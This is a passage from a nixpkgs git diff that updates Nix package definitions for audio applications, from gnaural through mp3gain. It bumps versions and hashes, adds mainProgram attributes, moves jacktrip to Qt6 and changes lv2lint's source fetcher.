stdenv.mkDerivation rec { homepage = "https://gnaural.sourceforge.net/"; maintainers = with maintainers; [ ehmry ]; license = with licenses; [ gpl2Only ]; + mainProgram = "gnaural"; }; } diff --git a/pkgs/applications/audio/go-musicfox/default.nix b/pkgs/applications/audio/go-musicfox/default.nix index 549ab0f692e78..3d67cb7d46e92 100644 --- a/pkgs/applications/audio/go-musicfox/default.nix +++ b/pkgs/applications/audio/go-musicfox/default.nix @@ -9,18 +9,18 @@ buildGoModule rec { pname = "go-musicfox"; - version = "4.3.0"; + version = "4.3.1"; src = fetchFromGitHub { owner = "go-musicfox"; repo = pname; rev = "v${version}"; - hash = "sha256-JDR3D3tILT0q9jqcZmbfQC3yn7cmaSL/GEpCguqCFXI="; + hash = "sha256-QZHuQAOnthSm7Kb82i3NUWTnKk+9OMHV5vzOU72inX0="; }; deleteVendor = true; - vendorHash = "sha256-ILO4v4ii1l9JokXG7R3vuN7i5hDi/hLHTFiClA2vdf0="; + vendorHash = "sha256-6DeoxpjVfykBI3fJAJpMZwJ4VTooIbxGpk5+SW198hU="; subPackages = [ "cmd/musicfox.go" ]; diff --git a/pkgs/applications/audio/goattracker/default.nix b/pkgs/applications/audio/goattracker/default.nix index b85aa4c0df762..148dd8788634a 100644 --- a/pkgs/applications/audio/goattracker/default.nix +++ b/pkgs/applications/audio/goattracker/default.nix @@ -22,14 +22,14 @@ let keywords = [ "tracker" "music" ]; }; -in stdenv.mkDerivation rec { +in stdenv.mkDerivation (finalAttrs: { inherit pname; version = if isStereo then "2.77" # stereo else "2.76"; # normal src = fetchurl { - url = "mirror://sourceforge/goattracker2/GoatTracker_${version}${lib.optionalString isStereo "_Stereo"}.zip"; + url = "mirror://sourceforge/goattracker2/GoatTracker_${finalAttrs.version}${lib.optionalString isStereo "_Stereo"}.zip"; sha256 = if isStereo then "1hiig2d152sv9kazwz33i56x1c54h5sh21ipkqnp6qlnwj8x1ksy" # stereo else "0d7a3han4jw4bwiba3j87racswaajgl3pj4sb5lawdqdxicv3dn1"; # normal @@ -43,10 +43,14 @@ in stdenv.mkDerivation rec { makeFlags = [ "PREFIX=$(out)/bin/" ]; # The zip contains some build artifacts. - prePatch = "make clean"; + prePatch = '' + make clean + ''; # The destination does not get created automatically. - preBuild = "mkdir -p $out/bin"; + preBuild = '' + mkdir -p $out/bin + ''; # Other files get installed during the build phase. installPhase = '' @@ -54,6 +58,7 @@ in stdenv.mkDerivation rec { convert goattrk2.bmp goattracker.png install -Dm644 goattracker.png $out/share/icons/hicolor/32x32/apps/goattracker.png + install -Dm644 ../linux/goattracker.1 -t $out/share/man/man1/goattracker.1 runHook postInstall ''; @@ -66,7 +71,8 @@ in stdenv.mkDerivation rec { homepage = "https://cadaver.github.io/tools.html"; downloadPage = "https://sourceforge.net/projects/goattracker2/"; license = lib.licenses.gpl2Plus; + mainProgram = if isStereo then "gt2stereo" else "goattrk2"; maintainers = with lib.maintainers; [ fgaz ]; platforms = lib.platforms.all; }; -} +}) diff --git a/pkgs/applications/audio/gtkcord4/default.nix b/pkgs/applications/audio/gtkcord4/default.nix index a70d1bf2fcbf6..e75e27e7d7922 100644 --- a/pkgs/applications/audio/gtkcord4/default.nix +++ b/pkgs/applications/audio/gtkcord4/default.nix @@ -18,13 +18,13 @@ buildGoModule rec { pname = "gtkcord4"; - version = "0.0.18"; + version = "0.0.19"; src = fetchFromGitHub { owner = "diamondburned"; repo = pname; rev = "v${version}"; - hash = "sha256-J76MkbXtlrRIyQEbNlHFNpAW9+mXcOcrx9ahMQ61NL4="; + hash = "sha256-TOrAUTYS4J4W1wZvP1TxZf5Nel29YCPoWPN7GYNomkc="; }; nativeBuildInputs = [ @@ -56,7 +56,7 @@ buildGoModule rec { install -D -m 444 internal/icons/hicolor/scalable/apps/logo.svg $out/share/icons/hicolor/scalable/apps/gtkcord4.svg ''; - vendorHash = "sha256-BDR67P4Gxveg2FpxijT0eWjUciGDO+l02QmBUxVb99c="; + vendorHash = "sha256-dJm+v7/2+TQWoU7G1uOpie6KN5W0JqfLU4mF8mghV4A="; meta = with lib; { description = "GTK4 Discord client in Go, attempt #4"; diff --git a/pkgs/applications/audio/headset/default.nix b/pkgs/applications/audio/headset/default.nix index 336d0d391a312..f505bc8c0ecb4 100644 --- a/pkgs/applications/audio/headset/default.nix +++ b/pkgs/applications/audio/headset/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = [ "x86_64-linux" ]; maintainers = with maintainers; [ muscaln ]; + mainProgram = "headset"; }; } diff --git a/pkgs/applications/audio/helm/default.nix b/pkgs/applications/audio/helm/default.nix index 720fd2b11a137..a7dff6a3ab724 100644 --- a/pkgs/applications/audio/helm/default.nix +++ b/pkgs/applications/audio/helm/default.nix @@ -70,5 +70,6 @@ license = lib.licenses.gpl3Plus; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "helm"; }; } diff --git a/pkgs/applications/audio/hivelytracker/default.nix b/pkgs/applications/audio/hivelytracker/default.nix index b87ad68ceee7d..324d0ca362b4c 100644 --- a/pkgs/applications/audio/hivelytracker/default.nix +++ b/pkgs/applications/audio/hivelytracker/default.nix @@ -6,21 +6,23 @@ , SDL_image , SDL_ttf , gtk3 +, wrapGAppsHook }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "hivelytracker"; version = "1.9"; src = fetchFromGitHub { owner = "pete-gordon"; repo = "hivelytracker"; - rev = "V${lib.replaceStrings ["."] ["_"] version}"; + rev = "V${lib.replaceStrings ["."] ["_"] finalAttrs.version}"; sha256 = "148p320sd8phcpmj4m85ns5zly2dawbp8kgx9ryjfdk24pa88xg6"; }; nativeBuildInputs = [ pkg-config + wrapGAppsHook ]; buildInputs = [ @@ -62,7 +64,8 @@ stdenv.mkDerivation rec { ''; license = licenses.bsd3; platforms = platforms.all; + mainProgram = "hivelytracker"; maintainers = with maintainers; [ fgaz ]; broken = stdenv.isDarwin; # TODO: try to use xcbuild }; -} +}) diff --git a/pkgs/applications/audio/hybridreverb2/default.nix b/pkgs/applications/audio/hybridreverb2/default.nix index 003936d74df39..5a677b9cc8809 100644 --- a/pkgs/applications/audio/hybridreverb2/default.nix +++ b/pkgs/applications/audio/hybridreverb2/default.nix @@ -83,5 +83,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "HybridReverb2"; }; } diff --git a/pkgs/applications/audio/id3v2/default.nix b/pkgs/applications/audio/id3v2/default.nix index 7b8ece0e7182f..6129f25236e6b 100644 --- a/pkgs/applications/audio/id3v2/default.nix +++ b/pkgs/applications/audio/id3v2/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { homepage = "https://id3v2.sourceforge.net/"; license = licenses.gpl2Plus; platforms = with platforms; unix; + mainProgram = "id3v2"; }; } diff --git a/pkgs/applications/audio/industrializer/default.nix b/pkgs/applications/audio/industrializer/default.nix index 80cb8f76981d7..ba7099a0d603d 100644 --- a/pkgs/applications/audio/industrializer/default.nix +++ b/pkgs/applications/audio/industrializer/default.nix @@ -46,5 +46,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Plus; maintainers = [ lib.maintainers.magnetophon ]; platforms = lib.platforms.linux; + mainProgram = "psindustrializer"; }; } diff --git a/pkgs/applications/audio/infamousPlugins/default.nix b/pkgs/applications/audio/infamousPlugins/default.nix index 4597add4132d3..38c8663a53c66 100644 --- a/pkgs/applications/audio/infamousPlugins/default.nix +++ b/pkgs/applications/audio/infamousPlugins/default.nix @@ -47,5 +47,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "infamous-rule"; }; } diff --git a/pkgs/applications/audio/ir.lv2/default.nix b/pkgs/applications/audio/ir.lv2/default.nix index 90b816d1290d6..d1984170e3acc 100644 --- a/pkgs/applications/audio/ir.lv2/default.nix +++ b/pkgs/applications/audio/ir.lv2/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "convert4chan"; }; } diff --git a/pkgs/applications/audio/jaaa/default.nix b/pkgs/applications/audio/jaaa/default.nix index 48ffd5df51573..4cdc2caf150d0 100644 --- a/pkgs/applications/audio/jaaa/default.nix +++ b/pkgs/applications/audio/jaaa/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "jaaa"; }; } diff --git a/pkgs/applications/audio/jack-passthrough/default.nix b/pkgs/applications/audio/jack-passthrough/default.nix index 93f41f1b59529..6126257b35e6e 100644 --- a/pkgs/applications/audio/jack-passthrough/default.nix +++ b/pkgs/applications/audio/jack-passthrough/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.unfree; maintainers = [ maintainers.PowerUser64 ]; platforms = [ "x86_64-linux" ]; + mainProgram = "jack-passthru"; }; }) diff --git a/pkgs/applications/audio/jackmeter/default.nix b/pkgs/applications/audio/jackmeter/default.nix index 95fc88a86964d..c7650c5236542 100644 --- a/pkgs/applications/audio/jackmeter/default.nix +++ b/pkgs/applications/audio/jackmeter/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; maintainers = [ lib.maintainers.marcweber ]; platforms = lib.platforms.linux; + mainProgram = "jack_meter"; }; } diff --git a/pkgs/applications/audio/jacktrip/default.nix b/pkgs/applications/audio/jacktrip/default.nix index 2046233fcb46e..fc7b636e97af1 100644 --- a/pkgs/applications/audio/jacktrip/default.nix +++ b/pkgs/applications/audio/jacktrip/default.nix @@ -1,25 +1,17 @@ -{ lib, mkDerivation, fetchFromGitHub +{ lib, stdenv, fetchFromGitHub , pkg-config , help2man -, qmake -, alsa-lib , libjack2 , dbus -, qtbase -, qttools -, qtx11extras +, qt6 , meson , python3 , rtaudio , ninja -, qtquickcontrols2 -, qtnetworkauth -, qtwebsockets -, qtgraphicaleffects }: -mkDerivation rec { - version = "1.10.1"; +stdenv.mkDerivation rec { + version = "2.2.2"; pname = "jacktrip"; src = fetchFromGitHub { @@ -27,7 +19,7 @@ mkDerivation rec { repo = "jacktrip"; rev = "v${version}"; fetchSubmodules = true; - sha256 = "sha256-bdYhyLsdL4LDkCzJiWXdi+7CTtqhSiA7HNYhg190NWs="; + sha256 = "sha256-idfetMiMqjl9Qrun4hlFhQaGWcvasgjojTts+0F3GGE="; }; preConfigure = '' @@ -36,8 +28,8 @@ mkDerivation rec { buildInputs = [ rtaudio - qtbase - qtx11extras + qt6.qtbase + qt6.qtwayland libjack2 dbus ]; @@ -49,12 +41,13 @@ mkDerivation rec { ninja help2man meson - qmake - qttools - qtquickcontrols2 - qtnetworkauth - qtwebsockets - qtgraphicaleffects + qt6.qt5compat + qt6.qtnetworkauth + qt6.qtwebsockets + qt6.qtwebengine + qt6.qtdeclarative + qt6.qtsvg + qt6.wrapQtAppsHook pkg-config ]; diff --git a/pkgs/applications/audio/japa/default.nix b/pkgs/applications/audio/japa/default.nix index c13b38f7acd57..a6ee28cc1498a 100644 --- a/pkgs/applications/audio/japa/default.nix +++ b/pkgs/applications/audio/japa/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; maintainers = [ lib.maintainers.magnetophon ]; platforms = lib.platforms.linux; + mainProgram = "japa"; }; } diff --git a/pkgs/applications/audio/jellycli/default.nix b/pkgs/applications/audio/jellycli/default.nix index 3654eacfbd6c1..ddaa6721dfb7e 100644 --- a/pkgs/applications/audio/jellycli/default.nix +++ b/pkgs/applications/audio/jellycli/default.nix @@ -30,5 +30,6 @@ buildGoModule rec { homepage = "https://github.com/tryffel/jellycli"; license = licenses.gpl3Plus; maintainers = with maintainers; [ oxzi ]; + mainProgram = "jellycli"; }; } diff --git a/pkgs/applications/audio/jmusicbot/default.nix b/pkgs/applications/audio/jmusicbot/default.nix index 0bdd80a9601ae..6b154ffbb1a67 100644 --- a/pkgs/applications/audio/jmusicbot/default.nix +++ b/pkgs/applications/audio/jmusicbot/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.asl20; maintainers = with maintainers; [ ]; inherit (jre_headless.meta) platforms; + mainProgram = "JMusicBot"; }; } diff --git a/pkgs/applications/audio/keyfinder-cli/default.nix b/pkgs/applications/audio/keyfinder-cli/default.nix index 62db3d7969082..33adb65f5e8ac 100644 --- a/pkgs/applications/audio/keyfinder-cli/default.nix +++ b/pkgs/applications/audio/keyfinder-cli/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { ''; license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "keyfinder-cli"; }; } diff --git a/pkgs/applications/audio/kid3/default.nix b/pkgs/applications/audio/kid3/default.nix index 060f2244f2a93..1aa79a69e5239 100644 --- a/pkgs/applications/audio/kid3/default.nix +++ b/pkgs/applications/audio/kid3/default.nix @@ -28,11 +28,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "kid3"; - version = "3.9.4"; + version = "3.9.5"; src = fetchurl { url = "mirror://kde/stable/kid3/${finalAttrs.version}/kid3-${finalAttrs.version}.tar.xz"; - hash = "sha256-xBCWDpYiXeChxIiMPqHG3CyiRau2kUdDJtzcPtvWpSA="; + hash = "sha256-pCT+3eNcF247RDNEIqrUOEhBh3LaAgdR0A0IdOXOgUU="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/audio/klick/default.nix b/pkgs/applications/audio/klick/default.nix index 8faa7410a5394..5db052dd05188 100644 --- a/pkgs/applications/audio/klick/default.nix +++ b/pkgs/applications/audio/klick/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { description = "Advanced command-line metronome for JACK"; license = lib.licenses.gpl2Plus; platforms = lib.platforms.linux; + mainProgram = "klick"; }; } diff --git a/pkgs/applications/audio/klystrack/default.nix b/pkgs/applications/audio/klystrack/default.nix index 9ea5f40be14bb..597ed4bd2cb2b 100644 --- a/pkgs/applications/audio/klystrack/default.nix +++ b/pkgs/applications/audio/klystrack/default.nix @@ -54,5 +54,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ suhr ]; platforms = platforms.linux; + mainProgram = "klystrack"; }; } diff --git a/pkgs/applications/audio/kmetronome/default.nix b/pkgs/applications/audio/kmetronome/default.nix index 70b06e72fba80..a7a48b240e2b8 100644 --- a/pkgs/applications/audio/kmetronome/default.nix +++ b/pkgs/applications/audio/kmetronome/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ orivej ]; platforms = platforms.linux; + mainProgram = "kmetronome"; }; } diff --git a/pkgs/applications/audio/ledfx/default.nix b/pkgs/applications/audio/ledfx/default.nix index e4c9272ba2f8c..62ba0f90ace93 100644 --- a/pkgs/applications/audio/ledfx/default.nix +++ b/pkgs/applications/audio/ledfx/default.nix @@ -5,12 +5,12 @@ python3.pkgs.buildPythonPackage rec { pname = "ledfx"; - version = "2.0.93"; + version = "2.0.94"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-A34GY7uhkHcrofjeFzK3l/Uzr+aoQQ5JERK+HUhoosM="; + hash = "sha256-l498NXt3Ib9QLTWoJcpngAwkbY6JqLbVLKhTWQye7Fs="; }; pythonRelaxDeps = true; diff --git a/pkgs/applications/audio/linuxsampler/default.nix b/pkgs/applications/audio/linuxsampler/default.nix index 1c33bff5b76e8..93e16098a84cf 100644 --- a/pkgs/applications/audio/linuxsampler/default.nix +++ b/pkgs/applications/audio/linuxsampler/default.nix @@ -3,11 +3,11 @@ stdenv.mkDerivation rec { pname = "linuxsampler"; - version = "2.2.0"; + version = "2.3.0"; src = fetchurl { url = "https://download.linuxsampler.org/packages/${pname}-${version}.tar.bz2"; - sha256 = "sha256-xNFjxrrC0B8Oj10HIQ1AmI7pO34HuYRyyUaoB2MDmYw="; + sha256 = "sha256-Ii+dylTUXmazP8NVjAAMdHs7NK+puml0IrF4fc6DEls="; }; preConfigure = '' diff --git a/pkgs/applications/audio/listenbrainz-mpd/default.nix b/pkgs/applications/audio/listenbrainz-mpd/default.nix index 1042fae93e3bd..9bf9c35d4bd7f 100644 --- a/pkgs/applications/audio/listenbrainz-mpd/default.nix +++ b/pkgs/applications/audio/listenbrainz-mpd/default.nix @@ -59,5 +59,6 @@ rustPlatform.buildRustPackage rec { description = "ListenBrainz submission client for MPD"; license = licenses.agpl3Only; maintainers = with maintainers; [ DeeUnderscore ]; + mainProgram = "listenbrainz-mpd"; }; } diff --git a/pkgs/applications/audio/littlegptracker/default.nix b/pkgs/applications/audio/littlegptracker/default.nix index 846936e65f6a7..d3cb9fcfab019 100644 --- a/pkgs/applications/audio/littlegptracker/default.nix +++ b/pkgs/applications/audio/littlegptracker/default.nix @@ -6,7 +6,7 @@ , Foundation }: -stdenv.mkDerivation rec { +stdenv.mkDerivation { pname = "littlegptracker"; version = "unstable-2020-11-26"; @@ -70,5 +70,6 @@ stdenv.mkDerivation rec { platforms = platforms.all; # https://github.com/NixOS/nixpkgs/pull/91766#issuecomment-688751821 broken = stdenv.isDarwin; + mainProgram = "lgpt"; }; } diff --git a/pkgs/applications/audio/losslessaudiochecker/default.nix b/pkgs/applications/audio/losslessaudiochecker/default.nix index 5ec91f4260f83..cdea7180a73ef 100644 --- a/pkgs/applications/audio/losslessaudiochecker/default.nix +++ b/pkgs/applications/audio/losslessaudiochecker/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation { license = lib.licenses.unfree; platforms = [ "x86_64-linux" ]; maintainers = with lib.maintainers; [ p-h ]; + mainProgram = "LAC"; }; } diff --git a/pkgs/applications/audio/lsp-plugins/default.nix b/pkgs/applications/audio/lsp-plugins/default.nix index c3df2ecd30d4e..aec55c9437adc 100644 --- a/pkgs/applications/audio/lsp-plugins/default.nix +++ b/pkgs/applications/audio/lsp-plugins/default.nix @@ -5,11 +5,11 @@ stdenv.mkDerivation rec { pname = "lsp-plugins"; - version = "1.2.14"; + version = "1.2.15"; src = fetchurl { url = "https://github.com/sadko4u/${pname}/releases/download/${version}/${pname}-src-${version}.tar.gz"; - sha256 = "sha256-GjNZ7ouKgpcb1+nuq+Q/WM5rSkeT2F+xb5exAOTt7po="; + sha256 = "sha256-krku+jFGOvLwixNGd+0jBzE/17k/OU0zAePLhnxd864="; }; outputs = [ "out" "dev" "doc" ]; diff --git a/pkgs/applications/audio/luppp/default.nix b/pkgs/applications/audio/luppp/default.nix index 36d329bcafd51..23b084bddb573 100644 --- a/pkgs/applications/audio/luppp/default.nix +++ b/pkgs/applications/audio/luppp/default.nix @@ -43,5 +43,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ prusnak ]; platforms = platforms.linux; + mainProgram = "luppp"; }; } diff --git a/pkgs/applications/audio/lv2bm/default.nix b/pkgs/applications/audio/lv2bm/default.nix index 553e0e67f8364..033a7c8cfe706 100644 --- a/pkgs/applications/audio/lv2bm/default.nix +++ b/pkgs/applications/audio/lv2bm/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "lv2bm"; }; } diff --git a/pkgs/applications/audio/lv2lint/default.nix b/pkgs/applications/audio/lv2lint/default.nix index e643343d8b4ac..85d3733905623 100644 --- a/pkgs/applications/audio/lv2lint/default.nix +++ b/pkgs/applications/audio/lv2lint/default.nix @@ -1,22 +1,33 @@ -{ stdenv, lib, fetchurl, pkg-config, meson, ninja, lv2, lilv, curl, libelf }: +{ stdenv, lib, fetchFromSourcehut, pkg-config, meson, ninja, lv2, lilv, curl, elfutils, xorg }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "lv2lint"; version = "0.16.2"; - src = fetchurl { - url = "https://git.open-music-kontrollers.ch/lv2/${pname}/snapshot/${pname}-${version}.tar.xz"; - sha256 = "sha256-sjgQVx8uGNPWcUwKzGUhChpfzXj/8D8cggVTpcHEXPQ="; + src = fetchFromSourcehut { + domain = "open-music-kontrollers.ch"; + owner = "~hp"; + repo = "lv2lint"; + rev = finalAttrs.version; + hash = "sha256-NkzbKteLZ+P+Py+CMOYYipvu6psDslWnM1MAV1XB0TM="; }; nativeBuildInputs = [ pkg-config meson ninja ]; - buildInputs = [ lv2 lilv curl libelf ]; + + buildInputs = [ lv2 lilv curl elfutils xorg.libX11 ]; + + mesonFlags = [ + (lib.mesonEnable "online-tests" true) + (lib.mesonEnable "elf-tests" true) + (lib.mesonEnable "x11-tests" true) + ]; meta = with lib; { description = "Check whether a given LV2 plugin is up to the specification"; - homepage = "https://open-music-kontrollers.ch/lv2/${pname}:"; + homepage = "https://git.open-music-kontrollers.ch/~hp/lv2lint"; license = licenses.artistic2; maintainers = [ maintainers.magnetophon ]; - platforms = platforms.all; + platforms = platforms.linux; + mainProgram = "lv2lint"; }; -} +}) diff --git a/pkgs/applications/audio/m4acut/default.nix b/pkgs/applications/audio/m4acut/default.nix index f3ceee9227c4a..f9612dc210090 100644 --- a/pkgs/applications/audio/m4acut/default.nix +++ b/pkgs/applications/audio/m4acut/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = with licenses; [ bsdOriginal zlib ]; maintainers = [ maintainers.chkno ]; platforms = platforms.all; + mainProgram = "m4acut"; }; } diff --git a/pkgs/applications/audio/master_me/default.nix b/pkgs/applications/audio/master_me/default.nix index cc45a8fbee452..8d8782eabdcc7 100644 --- a/pkgs/applications/audio/master_me/default.nix +++ b/pkgs/applications/audio/master_me/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation rec { platforms = platforms.all; broken = stdenv.isDarwin; # error: no type or protocol named 'NSPasteboardType' license = licenses.gpl3Plus; + mainProgram = "master_me"; }; } diff --git a/pkgs/applications/audio/meterbridge/default.nix b/pkgs/applications/audio/meterbridge/default.nix index 675189f6d1315..93e2bfabd175c 100644 --- a/pkgs/applications/audio/meterbridge/default.nix +++ b/pkgs/applications/audio/meterbridge/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.linux; maintainers = [ maintainers.nico202 ]; + mainProgram = "meterbridge"; }; } diff --git a/pkgs/applications/audio/mi2ly/default.nix b/pkgs/applications/audio/mi2ly/default.nix index 2ba12575543c1..8b03f75b398d9 100644 --- a/pkgs/applications/audio/mi2ly/default.nix +++ b/pkgs/applications/audio/mi2ly/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ raskin ]; platforms = platforms.linux; homepage = "https://www.nongnu.org/mi2ly/"; + mainProgram = "mi2ly"; }; } diff --git a/pkgs/applications/audio/mid2key/default.nix b/pkgs/applications/audio/mid2key/default.nix index d4af7108c159e..a4794e8a2e901 100644 --- a/pkgs/applications/audio/mid2key/default.nix +++ b/pkgs/applications/audio/mid2key/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = [ maintainers.goibhniu ]; platforms = platforms.linux; + mainProgram = "mid2key"; }; } diff --git a/pkgs/applications/audio/mikmod/default.nix b/pkgs/applications/audio/mikmod/default.nix index bb604d6bade2f..abe8ac01cce21 100644 --- a/pkgs/applications/audio/mikmod/default.nix +++ b/pkgs/applications/audio/mikmod/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Plus; maintainers = with lib.maintainers; [ ]; platforms = with lib.platforms; linux; + mainProgram = "mikmod"; }; } diff --git a/pkgs/applications/audio/milkytracker/default.nix b/pkgs/applications/audio/milkytracker/default.nix index a306b2e8c5942..b792c1ad9b498 100644 --- a/pkgs/applications/audio/milkytracker/default.nix +++ b/pkgs/applications/audio/milkytracker/default.nix @@ -81,5 +81,6 @@ stdenv.mkDerivation (finalAttrs: { # ibtool -> real Xcode -> I can't get that, and Ofborg can't test that broken = stdenv.hostPlatform.isDarwin; maintainers = with maintainers; [ OPNA2608 ]; + mainProgram = "milkytracker"; }; }) diff --git a/pkgs/applications/audio/mimic/default.nix b/pkgs/applications/audio/mimic/default.nix index 2819e288ec115..6baa1b5c7cb0b 100644 --- a/pkgs/applications/audio/mimic/default.nix +++ b/pkgs/applications/audio/mimic/default.nix @@ -53,6 +53,6 @@ stdenv.mkDerivation rec { homepage = "https://mimic.mycroft.ai/"; license = lib.licenses.free; platforms = lib.platforms.linux; - maintainers = [ lib.maintainers.noneucat ]; + maintainers = [ lib.maintainers.fx-chun ]; }; } diff --git a/pkgs/applications/audio/mixxx/default.nix b/pkgs/applications/audio/mixxx/default.nix index f10cedba5af2f..f9e860d781778 100644 --- a/pkgs/applications/audio/mixxx/default.nix +++ b/pkgs/applications/audio/mixxx/default.nix @@ -8,10 +8,13 @@ , ffmpeg , fftw , flac +, gbenchmark , glibcLocales +, gtest , hidapi , lame , libebur128 +, libdjinterop , libGLU , libid3tag , libkeyfinder @@ -26,6 +29,7 @@ , libxcb , lilv , lv2 +, microsoft-gsl , mp4v2 , opusfile , pcre @@ -52,13 +56,13 @@ mkDerivation rec { pname = "mixxx"; - version = "2.3.6"; + version = "2.4.0"; src = fetchFromGitHub { owner = "mixxxdj"; repo = "mixxx"; rev = version; - hash = "sha256-VdgCsd/7vMFUleOU0ESoZDQ8yhQSsLZADVi4XI76Ouw="; + hash = "sha256-JSWUzerm7D6AKq6g/9eRrt3EE2movRdM+VLUg07sLHo="; }; nativeBuildInputs = [ cmake pkg-config ]; @@ -69,12 +73,15 @@ mkDerivation rec { ffmpeg fftw flac + gbenchmark glibcLocales + gtest hidapi lame libebur128 libGLU libid3tag + libdjinterop libkeyfinder libmad libmodplug @@ -87,6 +94,7 @@ mkDerivation rec { libxcb lilv lv2 + microsoft-gsl mp4v2 opusfile pcre diff --git a/pkgs/applications/audio/mmlgui/default.nix b/pkgs/applications/audio/mmlgui/default.nix index 98be95b3bf127..aab0acb25019d 100644 --- a/pkgs/applications/audio/mmlgui/default.nix +++ b/pkgs/applications/audio/mmlgui/default.nix @@ -95,5 +95,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; maintainers = with maintainers; [ OPNA2608 ]; platforms = platforms.all; + mainProgram = "mmlgui"; }; } diff --git a/pkgs/applications/audio/mmtc/default.nix b/pkgs/applications/audio/mmtc/default.nix index ccbe14d767252..8227d12bbcb5b 100644 --- a/pkgs/applications/audio/mmtc/default.nix +++ b/pkgs/applications/audio/mmtc/default.nix @@ -28,5 +28,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/figsoda/mmtc/blob/v${version}/CHANGELOG.md"; license = licenses.mpl20; maintainers = with maintainers; [ figsoda ]; + mainProgram = "mmtc"; }; } diff --git a/pkgs/applications/audio/moc/default.nix b/pkgs/applications/audio/moc/default.nix index ddd868c71ce77..6e408a5d12b54 100644 --- a/pkgs/applications/audio/moc/default.nix +++ b/pkgs/applications/audio/moc/default.nix @@ -96,5 +96,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ aethelz pSub jagajaga ]; platforms = platforms.unix; + mainProgram = "mocp"; }; } diff --git a/pkgs/applications/audio/monkeys-audio/default.nix b/pkgs/applications/audio/monkeys-audio/default.nix index 3df94d5c4581b..d4da27dd36392 100644 --- a/pkgs/applications/audio/monkeys-audio/default.nix +++ b/pkgs/applications/audio/monkeys-audio/default.nix @@ -5,13 +5,13 @@ }: stdenv.mkDerivation (finalAttrs: { - version = "10.49"; + version = "10.52"; pname = "monkeys-audio"; src = fetchzip { url = "https://monkeysaudio.com/files/MAC_${ builtins.concatStringsSep "" (lib.strings.splitString "." finalAttrs.version)}_SDK.zip"; - hash = "sha256-OhTqBFNwmReMT1U11CIB7XCTohiILdd2nDFp+9nfObs="; + hash = "sha256-n+bQzvuCTt7dnqkPO592KKZeShmMlbp/KAXK0F2dlTg="; stripRoot = false; }; nativeBuildInputs = [ diff --git a/pkgs/applications/audio/mopidy/muse.nix b/pkgs/applications/audio/mopidy/muse.nix index 0b6c1f83dd0ba..9721c5bcc1cc7 100644 --- a/pkgs/applications/audio/mopidy/muse.nix +++ b/pkgs/applications/audio/mopidy/muse.nix @@ -2,12 +2,12 @@ pythonPackages.buildPythonApplication rec { pname = "mopidy-muse"; - version = "0.0.27"; + version = "0.0.33"; src = fetchPypi { inherit version; pname = "Mopidy-Muse"; - sha256 = "0jx9dkgxr07avzz9zskzhqy98zsxkdrf7iid2ax5vygwf8qsx8ks"; + sha256 = "sha256-CEPAPWtMrD+HljyqBB6EAyGVeOjzkvVoEywlE4XEJGs="; }; propagatedBuildInputs = [ diff --git a/pkgs/applications/audio/mopidy/spotify.nix b/pkgs/applications/audio/mopidy/spotify.nix index 474088572883e..58b5f852a4c95 100644 --- a/pkgs/applications/audio/mopidy/spotify.nix +++ b/pkgs/applications/audio/mopidy/spotify.nix @@ -2,13 +2,13 @@ pythonPackages.buildPythonApplication rec { pname = "mopidy-spotify"; - version = "unstable-2024-02-11"; + version = "unstable-2024-02-27"; src = fetchFromGitHub { owner = "mopidy"; repo = "mopidy-spotify"; - rev = "fc6ffb3bbbae9224316e2a888db08ef56608966a"; - hash = "sha256-V1SW8OyuBKLbUoQ4O5iiS4mq3MOXidcVKpiw125vxjQ="; + rev = "112d4abbb3f5b6477dab796f2824fa42196bfa0a"; + hash = "sha256-RkXDzAbOOll3uCNZ2mFRnjqMkT/NkXOGjywLRTC9i60="; }; propagatedBuildInputs = [ diff --git a/pkgs/applications/audio/mp3gain/default.nix b/pkgs/applications/audio/mp3gain/default.nix index 